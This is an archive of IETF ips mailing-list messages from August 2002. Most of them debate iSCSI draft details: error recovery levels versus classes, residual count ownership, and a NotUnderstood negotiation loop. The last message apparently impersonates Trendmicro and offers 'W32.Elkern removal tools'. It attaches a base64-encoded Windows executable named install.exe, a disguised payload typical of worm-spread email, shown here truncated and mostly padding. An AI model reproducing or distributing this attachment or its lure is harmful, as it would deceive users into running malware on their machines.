0,1,2 \ > +-------------+ > > > 2) If they are defined as disjoint classes, then the hierarchy for > complexity makes no sense. Rather you need a hierarchy for escalation > or transition. > > > Based on the emails that I have received so far it seems that > the intent is the former definition. > > Yours, > -Shahram > --=_alternative 006B57D4C2256C10_= Content-Type: text/html; charset="us-ascii"
it is alredy in - julo


pat_thaler@agilent.com
Sent by: owner-ips@ece.cmu.edu

08/09/2002 08:10 PM

       
        To:        Shahram_Davari@pmc-sierra.com, pat_thaler@agilent.com, pkoning@equallogic.com
        cc:        ips@ece.cmu.edu
        Subject:        RE: iSCSI question

       


Shaharam,

I agree that the table by itself is not clear, but that the text of the section clearly states things. That is why I suggested a change to that table:

 +-------------------+--------------------------------------------+
 |ErrorRecoveryLevel |  Associated Error recovery capabilities    |
 +-------------------+--------------------------------------------+
 |        0          |  Session recovery class                    |
 |                   |  (Section 5.14.4 Session Recovery)         |
 +-------------------+--------------------------------------------+
 |        1          |  Digest failure recovery (See Note below.) |
 |                   |  plus all ErrorRecoverLevel 0 capabilities |  
 +-------------------+--------------------------------------------+
 |        2          |  Connection recovery class                 |
 |                   |  (Section 5.14.3 Connection Recovery)      |
 |                   |  plus all ErrorRecoverLevel 1 capabilities |
 +-------------------+--------------------------------------------+

Pat


-----Original Message-----
From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
Sent: Friday, August 09, 2002 6:48 AM
To: 'pat_thaler@agilent.com'; pkoning@equallogic.com
Cc: ips@ece.cmu.edu
Subject: RE: iSCSI question


Pat,

Thanks for your excellent description. I now fully understand the
issue.

However, I disagree that the text is clear on the difference between
error recover classes and error recovery levels. As a proof, look at figure 2, in section 5.15:

 +-------------------+--------------------------------------------+
 |ErrorRecoveryLevel |  Associated Error recovery capabilities    |
 +-------------------+--------------------------------------------+
 |        0          |  Session recovery class                    |
 |                   |  (Section 5.14.4 Session Recovery)         |
 +-------------------+--------------------------------------------+
 |        1          |  Digest failure recovery (See Note below.) |
 +-------------------+--------------------------------------------+
 |        2          |  Connection recovery class                 |
 |                   |  (Section 5.14.3 Connection Recovery)      |
 +-------------------+--------------------------------------------+

In which, each recovery level is associated with only one recovery class.


Yours,
-Shahram

> -----Original Message-----
> From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com]
> Sent: Thursday, August 08, 2002 5:58 PM
> To: Shahram Davari; pkoning@equallogic.com
> Cc: ips@ece.cmu.edu
> Subject: RE: iSCSI question
>
>
> Shahram,
>
> There are two recovery heirarchies. You seem to be confusing
> error recovery level with error recovery class.
>
> One is the heirarchy for implementation requirements. With 3
> forms of recovery, there are 8 possible combinations but to
> simplify interoperability and to specify minimum acceptable
> operation, we don't want to allow all eight. Session
> qualifies two ways to be level 0 of this heirarchy - it is
> simplest to implement and it should be able to recover from
> any recoverable error.
>
> Note that these are the error recovery levels that are
> described in 5.15. A sessions recovery level indicates the
> set of recovery classes it is capable of using. The recovery
> levels are defined such that a lower recovery level includes
> a subset of the recovery classes available at a higher recovery level.
>
> The other heirarchy is the order in which the available
> classes are applied once an error occurs. This is the subject
> of 5.14. The classes are disjoint.
>
> Once an error occurs, the device will choose an error
> recovery class from the set of recovery classes in its
> recovery level. If that recovery class fails, it may try the
> next higher class.
>
> Error recovery level 0 includes the Session recovery class.
> Error recovery level 1 includes the two classes useful for  
> Digest failure recovery (Within-Command and
> Within-Connection) plus the Session recovery class from level 0.
> Error recovery level 2 includes  Connection recovery class
> plus the classes included in level 1.
>
> I think the text already makes this clear and the pyramid
> correctly represents this, but perhaps the chart below the
> period could add "plus the capablilities of
> ErrorRecoveryLevel n" to the boxes for Associated Error
> recovery capablities for levels 1 and 2 ("n" = 0 and 1, respectively).
>
> I hope this helps remove some of the confusion.
>
> Pat
>
> -----Original Message-----
> From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> Sent: Thursday, August 08, 2002 2:22 PM
> To: 'Paul Koning'
> Cc: ips@ece.cmu.edu
> Subject: RE: iSCSI question
>
>
> Paul,
>
>
> > But that's not what "hierarchy" refers to here.
> >
> > The hierarchy is one of increased capability, not increased
> > desperation.  Session recovery is the minimum required; the
> additional
> > levels are optional capabilities in addition to the minimum.  Each
> > higher level in the hierarchy is a superset of the one below.
>
> It all depends on the definition of these recovery classes.
>
> 1) If they are defined in a superset/subset fashion, then I agree
> that level of complexity increases as: Session->PDU->connection.
> Then I suggest changing texts in other parts of the draft such as
> section 5.14 to indicate that if you have the capabilities of
> class X, then you don't need to escalate to lower classes, because
> class X already has those capabilities itself. Also I suggest
> changing the hierarchy figure as following:
>
>
>                              +
>                             / \
>                            / 2 \      
>                           +-----+
>                          /  1,2  \    
>                         +---------+
>                        /   0,1,2   \  
>                       +-------------+
>
>
> 2) If they are defined as disjoint classes, then the hierarchy for
> complexity makes no sense. Rather you need a hierarchy for escalation
> or transition.
>
>
> Based on the emails that I have received so far it seems that
> the intent is the former definition.
>
> Yours,
> -Shahram
>


--=_alternative 006B57D4C2256C10_=-- From owner-ips@ece.cmu.edu Fri Aug 9 18:23:14 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13538 for ; Fri, 9 Aug 2002 18:23:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79Lr9718689 for ips-outgoing; Fri, 9 Aug 2002 17:53:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from pepsi.splentec.com (ns.splentec.com [209.47.35.194]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79Lr7o18682 for ; Fri, 9 Aug 2002 17:53:07 -0400 (EDT) Received: from splentec.com (canoe.splentec.com [209.47.35.250]) by pepsi.splentec.com (8.11.6/8.11.0) with ESMTP id g79Lols21867; Fri, 9 Aug 2002 17:50:47 -0400 Message-ID: <3D54393A.AA8BA173@splentec.com> Date: Fri, 09 Aug 2002 17:50:50 -0400 From: Luben Tuikov Organization: Splentec Ltd. X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.19 i686) X-Accept-Language: en MIME-Version: 1.0 To: Santosh Rao CC: Black_David@emc.com, ips@ece.cmu.edu Subject: Re: iSCSI: Check Condition and Residuals References: <277DD60FB639D511AC0400B0D068B71E064435AA@CORPMX14> <3D53CD9A.5B075DC7@splentec.com> <3D540D5B.6FAFF5F3@cup.hp.com> <3D541BEA.36B19692@splentec.com> <3D542279.32EE31E7@cup.hp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Santosh Rao wrote: > > It sounds to me like there is a mis-understanding here on who owns the > "RESID" field. > > FCP-2 makes it clear that it is the FCP-2 SCSI LLP in the target that > should initialize this field based on FCP_DL and its state information > on the bytes transferred. IOW, this is a field owned by the scsi > transport and should be initialized/computed by the scsi transport. (See > FCP-2 Rev 07a Section 9.4.8). Saying ``owned by the scsi transport'' is incomplete. A number of players may be interested in the residual count and can take action appropriately. From the transport to the user app initiating the IO. That is, residuals are not ``transport-exclusive''. And so, iSCSI does the right thing by providing _mechanism_ to report them, should there be any reported by the players underneath the iSCSI Target. But going as far as what you're suggesting may be too restrictive. On top of that I don't see any problems with the way FCP-2 puts it. As I said before we're at par with it. > It sounds like folks here are assuming the the SCSI device server is > going to provide this information to the iSCSI LLP layer in the target > and the iscsi target layer would then copy this information into the > Response PDU. There is quite a few things you have to communicate _with_ BEFORE you get to talk to the actual SCSI device server. _Anyone_ of those can set a residual for any number of things. (See my original reply-post on residuals in the thread ``Re: iSCSI: plugfest4 issues'' dated Tue, 30 Jul 2002 23:54:49 -0400.) > It is upto the iSCSI layer to initialize the RESID field anytime a data > underflow or overflow condition occurs. Yes. > Perhaps, the RESID field > definition should provide guidelines on how the iscsi target layer > should compute the RESID, as is done by FCP-2 Section 9.4.8. iSCSI does specify enough. Nothing is needed. Matter closed. -- Luben From owner-ips@ece.cmu.edu Fri Aug 9 20:01:20 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA15416 for ; Fri, 9 Aug 2002 20:01:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79NRbj23926 for ips-outgoing; Fri, 9 Aug 2002 19:27:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79NRao23921 for ; Fri, 9 Aug 2002 19:27:36 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 744993070A; Fri, 9 Aug 2002 19:26:33 -0400 (EDT) Date: Fri, 9 Aug 2002 16:22:30 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Bart Crane Cc: Subject: RE: Problem with use of NotUnderstood in negotiations In-Reply-To: <034670D62D19D31180990090277A37B7020DE261@mercury.corp.iready.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Fri, 9 Aug 2002, Bart Crane wrote: > -----Original Message----- > From: pat_thaler@agilent.com [mailto:pat_thaler@agilent.com] > Sent: Friday, August 09, 2002 1:05 PM > To: bcrane@iready.com; ips@ece.cmu.edu > Subject: RE: Problem with use of NotUnderstood in negotiations > > > Bart, > > So the question is, in what order does a device do the checking. > > There are many possibilites for handling a received key that is > unknown and comes in with the value unknown: > > A) Check key > if key unknown, send key=NotUnderstood > else ...process key=value pair > > B) Check key > if key unknown > if value=NotUnderstood silently drop (or close connection) > else send key=NotUnderstood > > I expect case A is more likely to get implemented in the absence > of an explicit statement. There would normally be no need to > examine the value of a key when one doesn't understand the key. > In this case, the receiver never does a test that detects the > apparent protocol violation of making an offer with a value > NotUnderstood. > > So, if we want to stop the loop that Bill has found, we should > put in an explicit requirement to test the value for NotUnderstood > before responding to a key with NotUnderstood. > > [Bart Crane] > Sec. 4.2 stating that "None", "Reject", "Irrelevant" and "NotUnderstood" > are reserved implies that they do need to be tested. The proposed > rule also implies that they be tested. > > My interpretation is that these values must not be used, except in > the way that the spec defines their use. > > The spec defines their use ONLY as a response to an iSCSI-defined key. The problem is that we're actually discussing what to do with an iSCSI-undefined key. The spec seems to assume (quite reasonably) that keys one side doesn't understand are there because the other side offered them and thus the other side understands them. By just sending back "NotUnderstood", negotiations can experiment some to see what keys are available. This is a case where neither side understands the key. > So, their being used as the initial value to any key is prohibited. ?? In the scenario I describe, neither side believes it offered the key. > Thus, there is no need to add another rule regarding not-responding to > keys with NotUnderstood as a value, because a key with that value is > a protocol error. > > This could be made more explicit, but there does not seem to be any > ambiguity. There obviously is ambiguity. The fact we're having this discussion is proof. :-) I'd support saying this case is a protocol error, since it means something neither side understands got into the stream (and chances are an offer got removed). But I think adding an explicit direction as to what to do is needed. Take care, Bill From owner-ips@ece.cmu.edu Sat Aug 10 01:25:40 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA21375 for ; Sat, 10 Aug 2002 01:25:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7A4kK007251 for ips-outgoing; Sat, 10 Aug 2002 00:46:20 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7A4kIo07245 for ; Sat, 10 Aug 2002 00:46:18 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7A4kCq6023952 for ; Sat, 10 Aug 2002 06:46:12 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7A4kBQk061238 for ; Sat, 10 Aug 2002 06:46:11 +0200 Subject: RE: Problem with use of NotUnderstood in negotiations To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 Message-ID: From: "Julian Satran" Date: Sat, 10 Aug 2002 07:11:21 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 10/08/2002 07:46:11 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Pat, The current text is explicit in restricting the use of the special values NotUnderstood, Reject etc. Julo pat_thaler@agilen t.com To: bcrane@iready.com, ips@ece.cmu.edu Sent by: cc: owner-ips@ece.cmu Subject: RE: Problem with use of NotUnderstood in negotiations .edu 08/09/2002 11:04 PM Bart, So the question is, in what order does a device do the checking. There are many possibilites for handling a received key that is unknown and comes in with the value unknown: A) Check key if key unknown, send key=NotUnderstood else ...process key=value pair B) Check key if key unknown if value=NotUnderstood silently drop (or close connection) else send key=NotUnderstood I expect case A is more likely to get implemented in the absence of an explicit statement. There would normally be no need to examine the value of a key when one doesn't understand the key. In this case, the receiver never does a test that detects the apparent protocol violation of making an offer with a value NotUnderstood. So, if we want to stop the loop that Bill has found, we should put in an explicit requirement to test the value for NotUnderstood before responding to a key with NotUnderstood. The alternative is to leave things as they are and count on implementations to abort the negotiation based on a timeout or a count of excessive number of negotiation PDU exchanges. Regards, Pat -----Original Message----- From: Bart Crane [mailto:bcrane@iready.com] Sent: Friday, August 09, 2002 12:33 PM To: ips@ece.cmu.edu Subject: RE: Problem with use of NotUnderstood in negotiations This new rule is not necessary. Sec. 4.2 says: The constants None, Reject, Irrelevant, and NotUnderstood are reserved and must only be used as described here. In the situation you describe, the sender will be expecting a response to "keyA", but the key-name was corrupted to "keyB". The receiver does not understand "keyB", and so responds with "keyB=NotUnderstood". To the sender, this appears to be the start of negotiating a new key, "keyB", with the value "NotUnderstood". But, this is not a valid use of the value "NotUnderstood", so it is a protocol error. So, the new rule of not-responding to keys with the value "NotUnderstood" is not necessary. Bart. -----Original Message----- From: Bill Studenmund [mailto:wrstuden@wasabisystems.com] Sent: Friday, August 09, 2002 9:12 AM To: ips@ece.cmu.edu Subject: Problem with use of NotUnderstood in negotiations I encountered a problem with how draft 15 specifies using NotUnderstood as a reply to keys that aren't understood. Namely if something injects garbage into the negotiation stream we can end up with a key BOTH sides don't understand, and so they both sit there sending "foo=NotUnderstood" back and forth to each other. Yes, well-behaved negotiators won't offer a key they don't understand. But the data stream can be corrupted, and all it would take is a single-bit error in a key name and we encounter the above. I propose we change the text to: Any key not understood by the acceptor may be ignored by the acceptor without affecting the basic function. However, unless the value for the key was "NotUnderstood", the answer for a key not understood MUST be key=NotUnderstood. If the value for the key was "NotUnderstood", the acceptor MUST not answer the key. Note: I can easily see closing the connection with an error in the above case too. Thoughts? Take care, Bill From owner-ips@ece.cmu.edu Sat Aug 10 01:28:19 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA21423 for ; Sat, 10 Aug 2002 01:28:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7A4kMH07258 for ips-outgoing; Sat, 10 Aug 2002 00:46:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7A4kLo07254 for ; Sat, 10 Aug 2002 00:46:21 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7A4kE7K006962 for ; Sat, 10 Aug 2002 06:46:15 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7A4kDQk061242 for ; Sat, 10 Aug 2002 06:46:14 +0200 Subject: RE: Problem with use of NotUnderstood in negotiations To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 Message-ID: From: "Julian Satran" Date: Sat, 10 Aug 2002 07:24:17 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 10/08/2002 07:46:13 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Bill, Perhaps the text is unabiguos but you just ignored the text that forbids it. The use of Notunderstood is limited to responses. Using it as you suggest is a protocol error. A repeated use will also violate the "no renegotiation rule". Julo Bill Studenmund ystems.com> cc: Sent by: Subject: RE: Problem with use of NotUnderstood in negotiations owner-ips@ece.cmu .edu 08/10/2002 02:22 AM On Fri, 9 Aug 2002, Bart Crane wrote: ?? In the scenario I describe, neither side believes it offered the key. > Thus, there is no need to add another rule regarding not-responding to > keys with NotUnderstood as a value, because a key with that value is > a protocol error. > > This could be made more explicit, but there does not seem to be any > ambiguity. There obviously is ambiguity. The fact we're having this discussion is proof. :-) I'd support saying this case is a protocol error, since it means something neither side understands got into the stream (and chances are an offer got removed). But I think adding an explicit direction as to what to do is needed. Take care, Bill From owner-ips@ece.cmu.edu Sat Aug 10 15:43:30 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA16857 for ; Sat, 10 Aug 2002 15:43:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7AIqm923938 for ips-outgoing; Sat, 10 Aug 2002 14:52:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from sm12.texas.rr.com (sm12.texas.rr.com [24.93.35.43]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7AIqho23930 for ; Sat, 10 Aug 2002 14:52:43 -0400 (EDT) Received: from Bpsd (cs24243252-119.austin.rr.com [24.243.252.119]) by sm12.texas.rr.com (8.12.1/8.12.0.Beta16) with SMTP id g7AIncmE013733 for ; Sat, 10 Aug 2002 13:49:38 -0500 Date: Sat, 10 Aug 2002 13:49:38 -0500 Message-Id: <200208101849.g7AIncmE013733@sm12.texas.rr.com> From: hafner To: ips@ece.cmu.edu Subject: W32.Elkern removal tools MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=M128O832622827o Sender: owner-ips@ece.cmu.edu Precedence: bulk --M128O832622827o Content-Type: text/html; Content-Transfer-Encoding: quoted-printable Trendmicro give you the W32.Elkern removal tools
W32.Elkern is a dangerous virus that can infect on Win98/Me/2000/XP.

For more information,please visit http://www.Trendmicro.com --M128O832622827o Content-Type: application/octet-stream; name=install.exe Content-ID: Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 